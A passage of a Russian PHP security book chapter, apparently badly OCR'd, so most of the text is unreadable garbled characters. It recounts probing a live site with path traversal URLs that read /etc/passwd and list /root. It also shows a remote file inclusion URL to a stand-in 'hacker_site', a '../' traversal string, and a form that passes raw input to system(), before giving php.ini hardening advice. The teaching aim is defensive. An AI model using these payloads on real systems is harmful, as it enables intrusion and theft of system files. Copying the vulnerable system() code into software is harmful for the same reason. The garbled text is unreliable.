Gyner B 100 pa3 Gonbiue, yem samuinawonmxes. Ho eciu:

O nepen creHAMH NPOKOMATh ryGOKUil PoB;
O B poB 3AINTH BOIBI M HANYCTHUTh KPOKOIUJIOB;
0 nepen HUM MPOKOMATH €IIE OJAWH POB M HAKPLITH €ro JIMCThAMH;

0 Ha cTeHax IOBECHTh KOJIOYYIO [POBOJOKY M YCTAHOBHTBH KOIbsl, KOTOpBIE HE
IO3BOJIAT MPHUCTABIATH K CTEHE JIECTHHIIBL.

TO TAKyl0 KpemocTb MOXxHO Oyager zawututs apmueir B 1000 yenosexk jpaxe or
MUUIMOHA Hanaaawouix. Yem Gonblue ypoBHEN 3alIWThI, TEM CllOXHEe ee 0boii-
TH, B TOM YMCJE U B KOMIbIOTepHOM MHpe. BonbliMHCETBO HenpoheccHoHANBHBIX
BOMHOB HE MOMIET HA XOPOLUO 3ALUMIUEHHYIO KPernocTh, Onacasick MorubHYTE.
ToyHo Tak xe, OONBLUIMHCTBO XAKEpOB He OyeT JoOMaTh JOCTATOYHO 3allMILIEH-
HBIH cepsep, onacasicb OKa3arthesi NOMAHHLIM U MTOMACTh B TIOPEMY.

3.4.1. PeanbHblii npumMmep ownbkmu

BykBanbHO cerofiHsl sl HATKHYJICA Ha OOUH caiiT (He Oynem YTOUYHATH €ro Haspa-
HUE), HAa KoTopoMm 3awura Obuta nanexka ot uaeana. Jlioboil xakep, yBuues, Kak
dopmupyercsi URL-anpec, cpasy HauHer konarb [iy6Xke M CMOXeT MOIYYUTh
npasa goctyna K aroil cucreme. IlocMorpum, B yem GbITM OMIMOKH, YTOOLI He
MMOBTOPUTH UX B CBOMX [POEKTaX.

B paccmatpuBaembix mpuMepax MMsi cepsepa Oyaer 3ameHeHo Ha sitename.domain.
Sl ornpasun paspaboTyuKaMm IMUCbMO C OlMcaHWeM olMBKH, HO MHE He XOouyercH,
4yToOBI MOSI KHMTA CTala NPUYMHON B3JoMa 3TOro caiita, eciu pa3paboTyMKH He
ucnpassT oWMbKY K MOMEHTY BBIXOAA KHUTH.

Wrak, anpec Ha caiite (popMHpoBATica CIeayIOLIHM 0DpasoM:
http://www.sitename.domain/index.php?dir=xaranor&file=daiin

B nmapamerpe dir mnepegaercs KaTalior, H3 KOTOPOrO HYXHO TpouuTaTs caiii,
a yepes napamerp file nepenaercs ums daitna. MHe cpasy Xe cTajno HHTEPECHO,
4TO MOJYYUTCS, €CIM B KadecTBe MMeHM aiina nepemarb uto-Hubynb Bpoje
Jete/passwd (daitn, B koropom Unix-cepBepbl XpaHsIT CIHMCKH [0Jb30BaTeei).
B otser s nonyuun coobwenne: "W kro tebs mpociut 3to genars?’ OueHb Xopo-
110, pazpaboTYMKKU ABHO MPEAYCMOTPENTH BO3MOXHBIE ATAKH.

Torna s BMecTo uMMeHM dailna moctaBui Tpocto Touky, uro B Unix-cepsepax
yKasplBaeT Ha TeKyluuit kataior. Ha ator pas s yBumen B okHe Gpaysepa cnucok
cpaiinoB Karanora, ykasaHHOro B KayecTBe napamerpa dir. Buaumo, paapaborun-
KU UCTIo/b30Banu MUIETP, KOTOPLII 3ampelian rnepeaasaTh B KauecTse mapamMerpa
3HaKKU /, HO OIIMHOYHAS TOYKAa He mnpoBepsuiack., Hesb3s 3anpeTuTh TOUKY BOOO-
e, Bedb MMeHa (aiyioB oveHb YACTO CONEPXKAT TOMKY IUIS OTAENeHWs MMEHH
(haiina oT pacuMpeHHst, HO OAMHOYHYIO TOUKY NPoBEPAThH HeobxoauMo.
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Ho 370 ewe He Bce. S nombiraicsi BHIMOMHHUTE CAEAYIOUIMIT 3aNpoc K cepBepy:
http://www.sitename.domain/index.php?dir=/etc&file=.

B kauecrtBe karanora ykazana cuctemHas nanka Unix, a smecto uMmeHu daiina
CTOUT TOJIbKO TOYKAa. B OTBET Ha 3TO s yBMIEN MOJHOE COMEPXKHUMOE Kartajiora
/etc. Hy uto xe, nompobyeM npocMoTpeTs Kakoif-Hubyab ¢aiil B 37oM Karasore,
Hanmpumep, passwd, B KOTOPOM HAaXOAMTCs CIIMCOK [10J1b30BaTe/Ieif CHCTEMBI:

http://www.sitename.domain/index.php?dir=/etc&file=passwd

Pesynbrar npessowen Bce oxuaanus. Majno Toro, Yro s yBHEN COAEPXHMOE
chaiia, Tak ewie B 3aroyioKe okasanack HHdpopMaunsa 0b ycTaHOBIEHHOM cepBepe
(puc. 3.3). B nanHom ciydae ato okasancs FreeBSD. Ha pucynke s yaaman see,
YTO MOXET YKAa3aTh BAM Ha CAiT, M OCTABMII TONIBKO comepxkumoe daitna /ete/passwd,
KOTOpOE MoKasan bpaysep, U 3aroj0BOK.

root lbblmnologm cpnrator st M

nalogin bin:®:3;:7
/:{/sbin/nologin tty
:/sbin/nologin kmern
in/nologin games:

rames:/sbinfnologin ne

{ a’sbm;nologén man:™;

y 3

mon: {Vd!;'-'mpt ! !
225:25: S_.#_-ndmai} Subm

Sendmail Defat
po.:hrmquem. !’:blmrmiogm bind:*:53:53:Bind

bin/nologin
sbin/nologin

Puc. 3.3. Peaynetar npocmotpa daiina naponeii.
B saronoske otobpaxaertca nHdopmauma
06 onepauvoHHOR cucTeme cepsepa
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INepsasi cTpoka yaile BCEro yKasbiBaeT HA YYETHYIO 3amuch agMuHucTparopa. Tyr
XoYeTcsl MoxXBaluTh paspaboTYMKOB 3a TO, YTO OHU MEPeHMEHOBAIN YYETHYIO 3a-
muck. [lo ymonryanuio OC ucrionbsyer UMs root, HO ero U3MeHWINn Ha toor. Ko-
HEYHO, 3TO C/IMIIKOM MPOCTOE pelleHue, HO Bee-Taku Jyylue, YyeM Huyero. Ecau
6Bl OHM K TOMY XK€ NEepeUMEHOBAIM AOMALIHION Manky agMMHUcTpatopa, 6nuo
OBl COBCEM XOPOLLO.

[pexne ueM 3aKOHYHMTL HCcledoBaHme, 5 3arisiHyan B JOMALTHIOW Nanky aimMy-
HUCTpaTopa:

http://www.sitename.domain/index.php?dir=/root&file=.

Camoe MHTepecHoe, 4To MHe ObUTH MokKasaHsl Bee (aiibl. 3naunt, npas v Web-
cepBepa J0CTATOMHO sl paboTel ¢ 3TUMHM (aitnamu, 4To y)Ke 0UYeHb OMACHO, BElb
B 9TOH Marke sIBHO JIeXaT pe3epBHbIE KOMMKM 1 Konuu (aitinos KoHGUrypauuu.

Ha stoM s pelwil 3aKOHYNTh HCCJAENOBAHWME W HAMpPaBUTh AIAMUHMCTPATOpPY
MUCBMO € ONUCAHWEM YA3BUMOCTH, YTOOb! €€ CMOIJIM 3aKPbITh 10 BHIXOAA KHUIH.
A Benb MOXHO ObINO cKavaTh KOH(UTYpaUMOHHbIE (DAHIBI MU PE3epBHBIE KOMMUU,
a rakeke ¢aitn ¢ 3aindpoBaHHBIMKA MAPOSIMU U, MPOAHATHU3UPOBAB UX, BINOMAThH
CEpPBEP M YIAIMTb BCE Ero COICpXKHMOE. Ho 310 He YKpaulaeT HACTOMLIEro xake-
pd, & TOIBKO MOPTHT €ro penyTauunio, moaToMy g HE CTall MpoOBOANWTDL JalbHenume
HCCJIENOBaHUA.

HeoOxonuMbIii MUHUMYM AeHCTBHI, KOTOPHIE NOKHBI BHITIONHHTE aAMUHNCTPA-
TOPBI [UTS 3a1UTHI caiTa:

O B napamerpe dir MpoBepsiTh HANMUKE CA31Ua U TOUKH. B arom ciyuae B kaue-
cTBe Katatora 6yeT paspelleHo yKasbiBaTh TOJNbKO MMsl B TEKYILUEM Karanore,
T. €. Henb3s Oyner yKasbiBaTh MyTH, Hanpumep, /etc. Hackoibko MHE ynanoch
MOHAThL CTPYKTYPY CaiTa, Ha HEM HET BJIOXKEHHBIX KATajloroB, W CI31l MPoCTo
HE HYXKEH.

0 He ucnons3oBaTh UMEHa rapamMeTpoB Bpoie dir W file. Takue MMEHA MaHsT
Jo6oro BaNOMUIMKA, KaK KOTa BajepbsiHKa. Jlyyiue Obuio OBl 3aMEHUTL UX HA
DeccMbiC/iEHHBIE UMEHA, CKaXeM, paraml W param2. He jporaawBasick o Ha-
3HAYEHHH MapamMeTpd, HAYWHAIOWIMIA B3JTOMILMK HE CMOXET ObICTpo HaiiTu
eMy MpUMEHEHHUE.

0 Ha nanHoMm caiiTeé 3anpeTuTh TOUKY HENb3sl, MOTOMY YTO OHA MCHONb3yeTcs
IUTSl OTAENEHHs PacliMpeHus, a ONUHOYHYIO 3alpeTuTh Heobxoaumo. B stom
cJIy4yae B3NOMILMK HE CMOXKET MPOCMOTPETh TeKYLIMI KaTanor.

Ecau Obl g mucan cuUeHapHii, To B napamerpe file nepegasajl Obl TOJNLKO WMs
daiina bes paciuMpeHusi, a paciiMpeHue noxcrasnsi 6vl nporpammuo. [Ins storo
HYXHO, 4TOOBI BCe noakiouaeMele (ailsl uMmesnn oaHo pacmupeHue. S 6ur wis
3Toro BeiGpan uro-HHOYIb HepeanbHoe, Hanpumep, fdfgdg, w nan 6wl Takoe pac-
uIMpeHne BeceM nmoakmodaeMbiM (aitnam. B atom ciayuae B crpoke URL nepena-
ercsi Katajmor u um#a aiina Ge3 pacliMpeHusi, a pacilupeHne NPUKPErUIseTcs
MpOrpaMMHO. DTO pelldeT oveHb BAXHYIO Npobiemy.
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JlonycTuM, B3IOMUIMK XO4eT MpocMoTpeTh (haitn naposeii. [Lis sToro oH BbINoN-
HSIET 3anpoc:

http://www.sitename.domain/index.php?dir=/etc&file=passwd

CueHapuii njenaetT OCHOBHBIE MPOBEPKH, OOBEAUHACT napaMeTp dir ¢ NapaMeTpoMm
file u nmporpamMmHo nobasnsier pacuiupernue fdfgdg. [daxe ecan B napamerpe dir
HeT TMPOBEPKH HA HANWYWE cldIia, B pesyabrare nomyuaercs: /etc/passwd.fdfgdg.
KoneuHo ke, Takoro ¢aiijia He cyllecTBYeT B cHCTeMe, U clieHapHil BbIIacT co-
obiieHue obd omnbke.

INpubasneHue paclIMpeHus €lle He rapaHTUpyeT Be30nacHocTh, MOTOMY 4TO 3TY
npobriemy sierko oboiitu. JlonmycTuM, 4TO Y Bac B KayecTBe Mapamerpa repenaercs
uMms afina, a B Ka4yecTse pacliMpeHns nporpaMMHo nobasasiercs news.php. Dto
HE clyqaiHblil MpUMep, s BUIEN TaKoe B pealbHOM npiioxeHuu. Tenepb, 4ToObI
000iiTH 3aLKTY, XaKepy HYXHO BBIMOJHHTE CIEAYIOULNE LIaTH:

(J co3maTh Ha CBOEM cepBepe 3joHaAMepeHHbI dain ¢ JbbiM UMEHEM M pac-
wpeHneM news.php, Hanpumep, http://hacker_site/hack.news.php;

0 nepenars 1ot daiin B KayecTse napamerpa:
http://www.sitename.domain/index.php?file=http://hacker_site/hack

Terepp Ball CclEHApWUA BHIMOJHUT couepxumoe aiina http://hacker_site/
hack.news.php, ecin daitn noxkouaeTcsl ¢ NOMOWbIO (PYHKUMK include () MM
require (). DTO OnacHo.

XoTa 3alIMTy ¢ MPOrpaMMHBIM JobaBieHueM paculMpeHusl MOXHO 000HTH, psil
NPOCTHIX MPOBEPOK M 3aLLMT cjleaeT Ball goM KperocTbio. Eciin moMuMo npo-
rpaMMHoro aobaslieHusi pacluMpeHust clearh MPOoBEepKy Ha CUMBOJ /, TO Xakep
yKe HE CMOXET MpOBECTH TAKYK ataky. B KauecTse AOMONHEHMs K 3aluTe Heob-
XOIMMO MporpaMMHO H00aBidaThE W Hayalo MyTH, a BCe MOAKIIOYAeMblie (ailyibl
CHOXKHUTh B ofuMH Kartanor. Hanpumep, noaxmouaemeie (aiiipl exar Ha ceppepe
B Katanore /var/www/html/inc u umeior pacuiupenue dat. B srom cayuae dop-
MupoBaHue ¢aiiia N0DKHO BHIVISIIETh TAK:

" /vaxr/www/html/inc/$file.dat"

3nech MOAPA3yMEBAETCS, HTO MEpPeMEeHHan $file COAEPKUT UMS MOAKIIOYAEMOTO
¢aitna 6e3 paciumpenusi. Ho u Tyt ectb ogHa ToHKocTh. [lomyctum, 4TO Xakepy
ynamock KakuM-jinbo obpaszom s3arpysuTh cBoil (aiin cueHapusi Ha cepsep Moi
umereM hackfile, Hanpumep, B oblienocTymHei Karamor /tmp. Ytobsl moakmio-
4uTh 3TOT (paiti, xakepy mocrarodHo gats emy paciuupeHue dat (hackfile.dat) n
B KayecTBe Mapamerpa $file mepenatb nyts ../../..[../../tmp/hackfile. Mopans —
HUKorga He 3abpiBaiiTe QUABTPOBATH MapaMeTpsl, UcHojibayeMbie npu GopMupo-
BAHMM MMeHH aiiyia, Ha NOCNEeA0BATEIBHOCTE CUMBOJIOB ". . /",

Kak mHoro Hioancos npu pabore c caitnamu, Heyxenu cosgarenu PHP ne mor-
M TipeayeMoTpers xorst 6ul nonoBuHy M3 3THX npobieM? Pabora ¢ daiimosoit
CMCTEMOII Bcerja ornacHa, U MpefycMOTPeTh BCE HEBO3MOXHO, MO3ITOMY MPHUXO-
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TSl BeIOGMpaTh MEXAY Molblo M GesonacHocThlo. Paspaboruukun PHP npemoc-
TABWIK HAM MOIUL M THOKOCTH, @ Mbl TO/KHBI MPABUIBLHO BOCTIONL3OBATHCS 3TU-
MH BO3MOXHOCTAMH.

W Bce ke, HECMOTPA HA BO3MOXHOCTb 3ALUMTHTLCSA OT YKA3aHMUS 3anpelieHHBIX
taitnos, 5 peKOMeHIAYI0 HUKOIAA He nepeaasark uMeHa (aitioB B B mapamer-
poB, Tem Gojiee sampocamu GET. Yepes napameTpbl Hesb3sl MepenaBath HUYEro,
4yTo cBf3aHO ¢ daitnoBoil cucremMoit, daitnamu u, Tem Gojee, ¢ mporpaMMami.
S nymalo, UTO 3TY MBICJIb MOXHO BbIONTb HA MOHWTOPE WIW HArMcaTth Ha rJlaka-
Te Ha creHe. Her, 31a pekoMeHIauus He cBsizaHa ¢ 6e30MaACHOCTbIO, Beldb 3allii-
THThCsi MOXHO. [Ipobiaema B TOM, 4TO Takoi Koa OyHeT yKAceH ¢ TOUKH 3peHM:
YTeHusi U conposoxneHus. Eciu pam mpuaercs macmtabupoBath BO3MOXKHOCTH
cueHapust (T. €. BBOAUTb HOBbIE BO3MOXHOCTH), TO Bbl O4€Hb CHJIBHO HaMyuae-
TeCh, U BaM NpHAETCs nepenucarh He OfHY CTPOYKY Koua.

3.4.2. PekoMmeHpauuu no 3auure

B atom pasmene g mocrtapancs coOpaTh OCHOBHbIC PEKOMEHIAUWM, Cleayd Ko-
TOPbIM Bbl CMOXETE MOBBICMTh G€30MAaCHOCTL CBOMX MPOrpaMM W 3aLIMTHTBCA
or GosbUIMHCTBA HAYUHAIOLINX XakepoB. Ob6esonacuts cebs abconoTHRIM 0bpa-
30M BaM He yractes HUKoraa, notomy uro MurepHer passuBaetcs, HOABISIOTCH
HOBBIE TexHONOrMM otobpaxeHis: HHGOPMALMM ¥ HOBBIE METOIbI B3NOMA, IS
3aUMTBl OT KOTOPBIX MOXET MOHANOOMTHCS BHECEHHE H3MEeHEHM B daiisl
CUEHApUEB.

Ecnu BBl Mcnionibayete B cBOMX clieHapusix obpaulenus K daiiosoil cucreme, 1o
yKa3biBaiiTe MyTh OTHOCHTENBHO KOpHS (ailnoBoi CUCTEMBI MJIH OTHOCHTEILHO
TeKylllei manky, HO NMpu 3TOM HeNb3f NOJHMMATLCH HA YpPOBHHM Bhie. Hanpu-
Mep, ec/H BBIMOMHAEMBIN cueHapuit Haxomutcs B manke /var/www/html/admin,
a Hano obparutbes K ¢aitny index.php u3 manku /var/www/html/, Hemb3si nucats
OTHOCUTENbHBIE MyTh Kak ../index.php. Hcnonb3oBanue nocienoparelbHOCTElH
../ WK ./ DODKHO OBITH 3anpelieHo Be3le U Beeraa.

B pa3zdese 3.5 mpi noapobHo 06cyanuM, Kak HYKHO MPOBEPATH KOPPEKTHOCTL BBO-
JUMBIX MOJB30BATENEM AAHHBIX, HO Bbl JOJKHBI TOMHHTh, YTO OMACHLI HE TOMb-
KO MONb30BaTelM, HO M MPOrpPaMMHCTEL. APKUM OPUMEPOM SIBIAETCH BO3MON-
HOCTb YKa3aHusi OTHOCUTEJIbHBIX HMEH, O KOTOPOii MBI FOBOPHJTM B MpPEAbLIYIIEM
abaalte.

Cxondurypupyiite unrepnperarop PHP tak, urobui oH Mor BbIMONHATH TONBKO
HeobXxomuMbie Bam ¢yHKuuM. Hampumep, ecin Bbl He HCTOAb3yere (YHKUHIO
system(), TO €€ CJIEOyeT 3anpeTHTe. B 3TOM ciyuae, maxe ecinu Xakepy ymacTcs
3aKAYaTh Ha Baul cepBep cOOCTBEHHBINH CLEHAPUIA, OH HE CMOXET BOCIIONL30BATh-
csi 9TOM onacHol (YHKIMEH.

C cyukiumeii system() BooOGlIe HYKHO OBIIATHLCS AKKYpPaTHO, MOTOMY YTO OHa
MO3BOJIAET BBITIOMHATE B CUCTEME KOMaHIy, YKa3aHHYI0 B KayecTBE MapaMerpa.
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CospganuM cilieHapuii, B KOTOpoM ecTh (hopma Juisi BBONA KOMAH/IbI, M yKasaHHas
KoMaHza nepegaercs PYHKUMKU system():
<form action="syst.php" method="get">
Command: <input name="sub _com">
<BR><input type="submit" wvalue="Run">
</form>

<PRE>

<?php
print ("<B>$sub_com</B>") ;
system($sub_cam) ;

>

</PRE>

YKaxure B nojie BBoaa Kaxkyio-Hubyas komanay saueit OC. Ecnu sain Web-cepsep
paboraer noa ynpasnennem OC Linux, To U1 TeCTHPOBAHMS MOXKHO BBECTH:

cat /etc/passwd

B peaynbrare Ha 3kpaHe mosisuTes daiil, comepXaluii cnvcoK MoJib3oBarenei
cuctembl. MoxHo ykazats Jio6yio Apyrylo KoMaHay, M oHa OyAeT BbIOTHATLCS
¢ TeMH npaBamu, Kotophle npenocrasieHsl Web-cepsepy. Ecnu npas y cepsepa
JIOCTAaToOMHO, TO KoMaHaa Byxaer BoinonHeHa. [MTousTHOE Ae/io, Y4TO TAKOro Jomyc-
TATH Henb3si, S Boobllle He PEKOMEHIYIO HCMOob3oBaTh (DYHKUMIO system(),
W aydiue Gyner ee sanpetuTs. Miure apyrue BapHaHThl PELISHHMS CBOMX 3aay.

Ewe onHa onacHast hyHkuus — exec (). OHA TaKXKe BLINOJHAET KOMAHLY, HO HE
BBIBOAUT HHYETO Ha 3KpaH, a TOJBKO BO3SBPALLAET B KAYECTBE pe3yibTara Mmocjici-
HIOIO CTPOKY BBITIONIHEHUS] KOMAHIbL. DTO 3HAYWT, YTO eciu 3arpocuts daiin na-
poneit, To pesyasraTom Oyaer 3anuchk ¢ MHoOpMauMeit 0 Moc/ieIHEM MMOIb30BaTE-
Jie, 3aperucTpPUpOBaHHOM B cucteme. Crieayiolmii mpUMep MNOKA3bIBAET, KaK
0T00pa3nTb Ha CTPAHMIIE PE3YILTAT BBUTONHEHUS (DYHKIMU:

print (system{$sub_com)) ;
(DYHKLIHH passthru (), TaK Xe€ KaK U system(), BbIMOJHACT YKA3aHHYIO KOMaHILy

W BBIBOAMT Ha IKpaH peaynh'rar. Pazn Hla 3aKJII0YaeTcs] B TOM, YTO passthruf()
yMeeT paboraTh W ¢ IBOMYHBLIMHA JaHHBIMH.

Eme oaHa QyHKUMs, KOTOpasik MOXET BbIOJHITH KOMAaHAbl B CHCTEMe, —
shell_exec (). OHA BBITIOJHAET KOMAHAY U BO3BPAllAeT PE3yJIbTAT:

print (shell_exec ($sub_com) ) ;
BoimaBate KoMmaHisl MOXHO M 6e3 kaxux-nubo ¢yHkumit. [dns storo komanna

Io/KHA OBITE 3aKiioyeHa B obpaTHeie armoctpodsl (). Dro He onuHapHas Ka-
BbIYKA, 4 UMeHHO ofpaTHLII amocTpod); HA KIIABUATYpPEe OH HAXOMMUTCS HA KHOMKE
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nesee ungpsl 1. Creayioumii npuMep BBIMOJHAET B CHCTeMe KoMaHay Is —al u
BBIBOIHMT Pe3yJibTAT Ha IKPaH:

print(‘1ls - al');

O ToMm, Kak sanperars (hYHKINH, Mbi IOTOBOPUM B paszdere 3.4.3.

3.4.3. TioHuHr PHP

B NaHHOM pasielie HaM MpeJacToOuT pacCMOTPETb KOH(bPII'YpElL[HOHHbIE napaMmeTpol
PHP, kotopsie Moryt nMoBbIcHTh 6e30MacHOCTh cepsepa U BalluX cleHapues. Jdu-
PEKTUBLI, KOTOPBIE MBI ByeM paccMaTpuBaTh B JAHHOM riase, oTHocsTes K daii-
Jy kKoHburypaunn php.ini, koropeiii 8 OC Linux MoxHo HailTi B Kataiore /etc.

3awneHHbI peXxXum

Camagl raBHasi JAUPEKTHBA, KOTOPYIO CHEAYEeT paccMoTpeTh, — safe_mode (Mo
YMOJTYAHUIO 3HAYCHMWE AUPEKTUBLI paBHO off). Oua nepesomut PHP 8 samu-
LIEHHBII PeXUM, MPU KOTOPOM BCE MOTEHUHAILHO ONACHbIE onepaunu U GyHk-
uuK sanperieHsl. Korna Bel HaumHaere paspabarsiBaTh CLEHAPHIi, XeTaTenbHO
BKJIIOYMTH 2Ty onuuio. Ecan Bbl cTonkHyauch ¢ cutyaimeil, xoraa neobxoanmasn
BO3MOXHOCTb MHTEprperaropa He paboraer, TO MOXHO OTKIIOMUTb OHPEKTHBY
safe_mode, HO TIPH 3TOM cjeiyeT OoJbllie BHUMAHHMA yIendTh Ge30NacHOCTH H
(GYHKLMAM, KOTOpbIE HE cMOMIH paboTaTh B 3aLIHILEHHOM peXuMe.

Ecau Baw cueHapHﬁ paﬁcrrae'r B JAlUMIIEHHOM pEXHUME, TO 3TO IHAYMUT, 4TO HH-
YEro onacHoro B HeM HE HUCITONB3YETCH, W BEPOATHOCTDH OGHE[]JY)KCHHH yS3BUMO-
CTH YMEHbLIUAETCSH YKEe caMa 1o CCGE, AaKe eciu pexuM safe_mode HE BKITIOYEH.

[Ipu pabore B 3aIMIIEHHOM PEXUME PACCMOTPHTE CICAYIOUIME NUPEKTHBEI, KO-
TOpBIE MOTYT MOHU3HUTH BE30MACHOCTD, 03 OTIUIIOYEHHS AMPEKTHBLI safe_mode:

O safe_mode_gid — OWPEKTUBA 3aJ1aeT MASHTU(HMKATOP BIANENbIA WM TPYMIIE
Branensues $aiia, KoOTOPbI JOMKEH COOTBETCTBOBATH WAEHTH(UMKATODY
rioib3oBates (Mju rpyrnet), oTkpsoiBilero aitn. Ecnu BrimoueHa aupexkTysa
safe_mode, 4 safe_mode_gid He BKIIOYE€HA, TO INpaBWjla DOCTYNAd CTAHOBATCH
fosee xecTkMMH — haiin Moxer ObITh OTKPHIT, TOJABKO €CJIM MAEHTH(UKATOP
sianenbua daiina copnanaer ¢ naeHTUguKaTopoM noabsoparens. Maentndn-
KATOPLI TpyNIbl BragesbuUes daiina 1 monb3oparte/s B 9TOM cliyyae He Mpose-
pAIOTCS Ha COOTBETCTBHE. Eciii AMpeKTHBBl safe_mode W safe_mode_gid OT-
KJIIOYEHBI, TO HUKAKOi rpoBepku He npoucxonut. Paitin Gymser oTKpHIT, eciu
y [ONL30BaTeNs JOCTATOMHO MpPaB;

O safe_mode_exec_dir — IMPEKTHBA 3adeT KaTAJOTH, COAEpXKAllMue TporpaM-
MBI, KOTOpbIE MOIYT OBITH BBIMONHEHBI B cucreme. TolbKO nporpamMmbl K13
ITHUX KATANOIoB MM IMOAKATAIOIOB MOXHO MepenaBaTh TaKUM CbYHI(IJ.HHM, KaK
system(), exec() U T. I.;
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(0 safe_mode_allowed_env_vars — JIUPEKTHBA COACPXMT CMHCOK TPehUKCOB
nepeMeHHbIX OKPYXXEeHUsl, KOTopble MOTYT HaMeHsAThes. [To ymonuanuo usme-
HEHHIO MOJUIEXKAT TOJBKO IePEMEHHBIE OKPYKEHUS, UMEHA KOTOPLIX HauyMHAa-
iores ¢ npedukea PHP_. Eciin IMPEKTHBY OCTABHTH MYCTOH, TO MOXHO Oyier
M3MEHSTh Bee NepeMeHHbIe,

0 safe_mode_protected_env_vars — JWPEKTHBA COAEPKUT CIHCOK NpeduKcos
MMEH TIEPEMEHHBIX OKPYXXEHHH, KOTOPLIE SBHO 3anpeiieHbl K MIMEHEHHIO
B 3alUMlIeHHOM pexume. [lo yMONI4aHMIO IUMpPEKTHBA paBHA LD_LIERARY_PATH.
Ecnu Bbl paspeliniin M3MeHeHUe BceX [epeMeHHbIX, HO IMPEeKTHBAa paBHa
PHE_, TO BCE MEpPeMEHHbIE OKPYXXEHUS ¢ Npe)uKCoM PHP_ OyIyT HeLOCTYITHBLL
IS pelakTHPOBaHMUS.

3anpertsbl

C noMollbsi IUpPeKTUBBL disable functions MOXHO 3alpeTUTh BLINOJHEHHE
onpeneneHHbIX (GyHKUMit. S| HAcTOATENbHO PEKOMEHIYIO 3anpeTHTh (YHKUMH
BhinmonHeHus KomaHx OC (system(), exec(), passthru(), shell_exec(),
poper () ), KOTOpbIE BBl HE UCMONb3yeTe.

PHP-cuenapun no3sonsiior oTKpbIBaTh Gaiinel Ha yaajeHHOM KOMMbloTepe (ue-
pe3 FTP- unu HTTP-coennnenne). Ecau nMpexkrupa allow_url_open BKIKOHYEHA
(on), 5Ta BO3MOXHOCTh focTynHA. Eciu BBl HE Hcnofib3yeTe yaajleHHble KOMMbIO-
TEPbI, TO CJEAYET YCTAHOBUTH [IMPEKTUBE allow_url_open 3HaueHHe off. beso-
MMACHOCTH CepBepy M ClIEHApUsIM 3TO He NMpUOaBUT, HO, MO KpaiiHell Mepe, CloX-
Hee OyIeT MCMoib30BaTh BAlll CEpBep B KavyecTse 3oMOn. MHBIMU clioBamu, maxe
ec/lM XaKep B3JIOMAEeT Balll cepBep, OH He CMOXET BBITIONHATE ONpeleseHHbIE
CLIEHAPUM JUIS MPOBEIEHUs aTaK Ha OPYTHe CepBepsl.

KoHeuHo, 3auUTa ¢ MOMOILUBID allow_url_open ManoadgdekTHBHA, MOTOMY 4YTO
€CJIM Balll CEpBEpP BIIOMaH, TO XAKEpP CMOXET MOAMPABMTE ITOT Mapamerp WM
HAalTH Apyroii criocob npoBeieHUs aTaku.

Pabora c¢ aiinamu Bcerna omacHa. Echnm B BalieM cLEHapUM MCIOAB3YETCs
dyHKUMST fopen() M Xakep cMor mepenatb eii daiin /etc/passwd, TO CHCOK
noJib30BaTesielf cUCTeMbl cTaHOBUTEs oblenoctynHbIM, YTobbl obesonacuts cebdst
or Takoil omubku, B KoH(UrypauuoHHoMm aiuie php.ini B IMpeKTHBE
open_basedir HYXHO [MepPeYUCIUTL YEepPe3 [BOETOYME paspelleHHbIe IS OTKPhI-
THA TTYTH.

3.5. [lpoBepka KOppPEKTHOCTU AaHHbIX

Ie ¥ Korga HYKHO NMPOM3BOIAMTH MPOBEPKY KoppeKTHoCTH aaHHbix? Ha oba Bo-
npoca MOXHO OTBETUTH OAMHAKOBO:

0 B HTML-dopme Ha 3Tane BBoja ¢ noMoLibio JavaScript;
O B cueHapuu, KOTOPLIH MPUHKUMAET AaHHble ¢ nomolusio PHP.
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PaccMoTpuM Kaxipiit w3 sapuantos Gosnee moapobHo, 4YToObl YBULETb WX Mpe-
HUMYILIECTBA 1 HEIMOCTATKH.

Cuenapuu JavaScript BBIMONHSIOTCS HA KOMIIBIOTEPE KIIMEHTA, YTO ONpENensieT U
npeuMyliiecTsa, U Hejgocratkd. K npeumyliecTsaM oTHOCATCS!

O skoHomusl TpaduKka — AaHHbIE ©3 GOPMBI HE HYKHO OTHPABNIATH HA CEpPBEp,
yTo6bI OHM MPOLUIA NPOBEPKY Ha KoppekTHocTh. [IpoBepka mpoucxoaur Ha
CaMOM KIMEHTE;

O 3KOHOMHMSI BpEMEHH — MPOBEPKA MPOMCXOAUT CPasy XKe, 0 OTMPABKH JAAHHEIX
Ha cepaep;

O 3KOHOMMsI pecypcoB cepBepa — MPOBEPKOil 3aHAT KIMEHTCKHIl KOMMBIOTEP,
a He cepaep.

HemoctaTkoB aBa, HO OIMH M3 HUX OYEHBb CYLUECTBeHHbIH. Bo-nepBbix, BOIMOX-
Hoctu JavaScript HamHoro Huxe aspika PHP. Bo-BrophiX, mockosbkKy nmposepka
TIPOMCXOINUT HA CTOPOHE KJIMEHTA, XAKEp MOXET OTKIIO4UTEL ee. [Ins aToro gocra-
TOYHO:

1. CoxpaHuTb KO CTPAHULIBI HA JOKANBHOM [WCKE XaKepa,
2. Y6pars JavaScript-ko.

3. Ecnmu HeoOxoaumo, noakoppekTupoBaTh (opMy oTnpaBkn naHHbiX. Ecnu
B CBOMCTBE action YKa3aHO TOMBKO MMs aitna WIKH OTHOCHTENLHBIH MyTh,
TO HEOGXOAMMO U3MEHUTH 3T0 cBoiicTBO Ha nonHbiit URL k daitny cueHapus.

IMocne 3toro ¢aiin MOXHO 3arpy3uTh C JIOKAILHOIO JHCKA W BBITOMHUTh, MUHYA
BCE IMPOBEPKH. DTO U eCTh caMblil GONBLUION U CYLIECTBEHHBIH HEIOCTATOK, € KO-
TOPBIM HEBO3MOXHO GOpoThes.

PHP-kon npuuunuanbHo oTinyaercs oT cueHapues JavaScript u obnanaer cie-
OVIOUIUMHU CBOMCTBAMM:

O Kaxnelit pas Uit mpoBepKH AaHHBIX TPOUCXOIWT Mepenaya MX Ha cepeep M
niepesarpyska Bceif ctpaHuubl (MM opMBbl, eciM OHA PeayiM30BaHa B OTHEJIh-
HOM ¢pelime);

0 peayJabTaT MOABISETCH C 3aJEpPXKKOH, MOTOMY YTO HEOOXOAMMO BpeMsi Ha me-
penauy AaHHBIX Ha cepsep, oO6paboTKy U BO3BpaT peayibTrara;

0O wia Kaxnoi NMpoBEepKH PacXolIylOTcsl pecypehl cepBepa;

0O nojab30BaTe/lb HE MOXET YBHIETH KO IMPOBEPOK H, TEM Gonee, NOBIUATL HA UX
Xo[,

O BoamoxHoctH mnpoBepok PHP pocrtaroyHo Benuku, M TPYIHO MNpPeACTABUTH
cebe 3amavy, KOTOpYIO HEBO3MOXKHO ObLTO 6Bl peanusobath Ha PHP.

